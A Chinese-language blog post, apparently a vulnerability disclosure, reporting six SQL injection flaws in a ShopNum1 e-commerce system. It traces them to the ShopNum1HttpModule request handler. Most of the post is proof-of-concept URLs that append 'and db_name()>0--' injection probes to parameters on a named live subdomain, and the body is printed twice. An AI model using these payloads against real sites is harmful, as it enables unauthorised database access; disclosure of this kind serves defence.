ShopNum1某系统6处高危SQL注入漏洞

  • A+
所属分类:漏洞时代
摘要

朋友分享了下源码,发现shopnum1的ShopNum1HttpModule是处理Http请求的类

上图就是一个注入点,构造链接是/VideoSearchList.aspx?VideoCategoryID=
之后我批量查下使用ShopNum1HttpModule的文件,发现好多问题:

http://nrqiang.shopnum1.com/VideoSearchList.aspx?VideoCategoryID=1%20and%20db_name()%3E0–
http://nrqiang.shopnum1.com/VideoDetail.aspx?Guid=111%27%20and%20db_name()%3E0–
http://nrqiang.shopnum1.com/ProductListCategory.aspx?ProductCategoryID=1%20and%20db_name()%3E0–
http://nrqiang.shopnum1.com/ArticleDetail.aspx?guid=1%27%20and%20db_name()%3E0%20–
http://nrqiang.shopnum1.com/ArticleDetailNew.aspx?guid=1%27%20and%20db_name()%3E0–
http://nrqiang.shopnum1.com/HelpList.aspx?Guid=1%27%20and%20db_name()%3E0–

朋友分享了下源码,发现shopnum1的ShopNum1HttpModule是处理Http请求的类
ShopNum1某系统6处高危SQL注入漏洞
上图就是一个注入点,构造链接是/VideoSearchList.aspx?VideoCategoryID=
之后我批量查下使用ShopNum1HttpModule的文件,发现好多问题:
ShopNum1某系统6处高危SQL注入漏洞
http://nrqiang.shopnum1.com/VideoSearchList.aspx?VideoCategoryID=1%20and%20db_name()%3E0--
http://nrqiang.shopnum1.com/VideoDetail.aspx?Guid=111%27%20and%20db_name()%3E0--
http://nrqiang.shopnum1.com/ProductListCategory.aspx?ProductCategoryID=1%20and%20db_name()%3E0--
http://nrqiang.shopnum1.com/ArticleDetail.aspx?guid=1%27%20and%20db_name()%3E0%20--
http://nrqiang.shopnum1.com/ArticleDetailNew.aspx?guid=1%27%20and%20db_name()%3E0--
http://nrqiang.shopnum1.com/HelpList.aspx?Guid=1%27%20and%20db_name()%3E0--
ShopNum1某系统6处高危SQL注入漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: